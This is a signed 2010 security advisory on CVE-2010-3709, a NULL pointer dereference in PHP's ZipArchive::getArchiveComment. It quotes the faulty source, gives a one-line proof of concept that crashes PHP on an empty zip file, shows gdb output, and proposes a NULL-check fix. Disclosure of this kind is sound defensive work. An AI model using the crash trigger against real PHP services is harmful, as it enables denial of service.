PHP 5.3.3 / 5.2.14 ZipArchive::getArchiveComment NULL Pointer Dereference

Related Vulnerabilities: CVE-2010-3709  
Publish Date: 08 Nov 2010
                							

                -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment NULL Pointer Deference]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 14.09.2010
- - Pub.: 05.11.2010

CVE: CVE-2010-3709
CWE: CWE-476
Status: Fixed in CVS

Affected Software:
- - PHP 5.3.3
- - PHP 5.2.14

Original URL:
http://securityreason.com/achievement_securityalert/90


- --- 0.Description ---
ZipArchive enables you to transparently read or write ZIP compressed
archives and the files inside them.

ZipArchive::getArchiveComment ? Returns the Zip archive comment

string ZipArchive::getArchiveComment  ( void  )


- --- 1. PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment (CWE-476) ---
As we can see in

http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?revision=303622&view=markup

- ---
1945   static ZIPARCHIVE_METHOD(getArchiveComment)
1946   {
1947   struct zip *intern;
1948   zval *this = getThis();
1949   long flags = 0;
1950   const char * comment;
1951   int comment_len = 0;
1952   
1953   if (!this) {
1954   RETURN_FALSE;
1955   }
1956   
1957   ZIP_FROM_OBJECT(intern, this);
1958   
1959   if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &flags)
== FAILURE) {
1960   return;
1961   }
1962   
1963   comment = zip_get_archive_comment(intern, &comment_len,
(int)flags); <==== RETURN NULL AND -1
1964   RETURN_STRINGL((char *)comment, (long)comment_len, 1); <===== NULL
POINTER DEFERENCE HERE
1965   }
- ---

this method return string from zip_get_archive_comment() function. Now
we need see this function,

http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_get_archive_comment.c?revision=284361&view=markup

- ---
40   ZIP_EXTERN(const char *)
41   zip_get_archive_comment(struct zip *za, int *lenp, int flags)
42   {
43   if ((flags & ZIP_FL_UNCHANGED)
44   || (za->ch_comment_len == -1)) {
45   if (za->cdir) {
46   if (lenp != NULL)
47   *lenp = za->cdir->comment_len;
48   return za->cdir->comment;
49   }
50   else {
51   if (lenp != NULL)
52   *lenp = -1; <===================== -1
53   return NULL; <==================== NULL
54   }
55   }
56   
57   if (lenp != NULL)
58   *lenp = za->ch_comment_len;
59   return za->ch_comment;
60   }
- ---


line 52 and 53 should return NULL pointer and (int)-1. In result
RETURN_STRINGL() will be executed with:

RETURN_STRINGL(NULL, -1, 1);

and crash in memcpy(3).


- --- 2. PoC ---

cx@cx64:/www$ touch empty.zip
cx@cx64:/www$ php -r '$zip= new
ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
Segmentation fault

Debug:
cx@cx64:/www$ gdb -q php
Reading symbols from /usr/bin/php...(no debugging symbols found)...done.
(gdb) r -r '$zip= new
ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
Starting program: /usr/bin/php -r '$zip= new
ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff530edbb in memcpy () from /lib/libc.so.6
(gdb) bt
#0  0x00007ffff530edbb in memcpy () from /lib/libc.so.6
#1  0x0000000000679fa8 in _estrndup ()
#2  0x00000000006371e5 in ?? ()
#3  0x00000000006e793a in ?? ()
#4  0x00000000006bec20 in execute ()
#5  0x000000000068b44a in zend_eval_stringl ()
#6  0x000000000068b5c9 in zend_eval_stringl_ex ()
#7  0x000000000072743e in ?? ()
#8  0x00007ffff52a6c4d in __libc_start_main () from /lib/libc.so.6
#9  0x000000000042c6a9 in _start ()
(gdb) x/i $rip
=> 0x7ffff530edbb <memcpy+347>: rep movsq %ds:(%rsi),%es:(%rdi)
(gdb) x/x $rsi
0x0:    Cannot access memory at address 0x0
(gdb) x/x $rbp
0xffffffff:     Cannot access memory at address 0xffffffff


- --- 3. Fix ---
Fix:
Replace
1963   comment = zip_get_archive_comment(intern, &comment_len, (int)flags);
1964   RETURN_STRINGL((char *)comment, (long)comment_len, 1);

to

1963   comment = zip_get_archive_comment(intern, &comment_len, (int)flags);
1964  if(comment==NULL) RETURN_FALSE;
1965   RETURN_STRINGL((char *)comment, (long)comment_len, 1);

PHP 5.3:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?view=log

PHP 5.2:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/zip/php_zip.c?view=log

MDVSA-2010:218


- --- 4. Greets ---
Special thanks for Pierre Joye

sp3x, Infospec, Adam Zabrocki 'pi3'


- --- 5. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]

Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://cxib.net/

- -- 
Best Regards
pub   4096R/D6E5B530 2010-09-19
uid                  Maksymilian Arciemowicz (cx) <max@cxib.net>
sub   4096R/58BA663C 2010-09-19
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJM1GvbAAoJEIO8+dzW5bUwSNAQAK6zlkav7055LDi253vq4Urs
YIXd5u5FIrttRCMMJdANhxqFwYbMk5fUwICsw7i4qsirNg9Cdam2MI38GCi4Um2Z
so8fBo+NndTTqStM00gmJva/8HlhLw9LyXh05Ii7FcgK3DRwvAYa/1BFvAi7yBhX
EPOqRWaaeiDvehtjn/SC8enbesHE2hEUDiuNhMwZEDmdbv+EfpOMt/lBcwwdKZcE
QwXS7ElHyJ0geDB9ynnaAgmZvbnbA7aj0BpCIf+9C+Qu0kdSf4F/t0nDG2BfvvyF
wB5hT5wPYYIexsqnGPBHy48t38JTZ10mJrLVSnK5My5ODHrU1QqZau/8zMnZU7Uw
OoA5QawzW4CQX5tUfG0cD+Qd7DA2WX/ui7akw5nSHNL0AIru/IMmdZwXHuqJke6R
AfQlY3VznE0V7/O9F+y2gkbkAMTdVjddU6N6Z72hJSrzRCxIgqcSFIXOtQIXz6fl
H4ymSLL0VydYrG6kiw4b6UgAXRhWFEsjrSmpYS61MnWTsx+B55ERjIXoQpiBYTbl
RRrDvXDCa9r/xpAX/yC2FVz7ECfOePI+gx/FW2dSBBEKe340xsmE/H90iLUWhDhX
csCYgZWvIe8mAZ3zT3c0ONAoRPWjnLo+QhMZtyZk4vc294C9spdR8uAlGxIVfQf5
+RibkqlDnn1yRveXjRpO
=REiM
-----END PGP SIGNATURE-----
<p>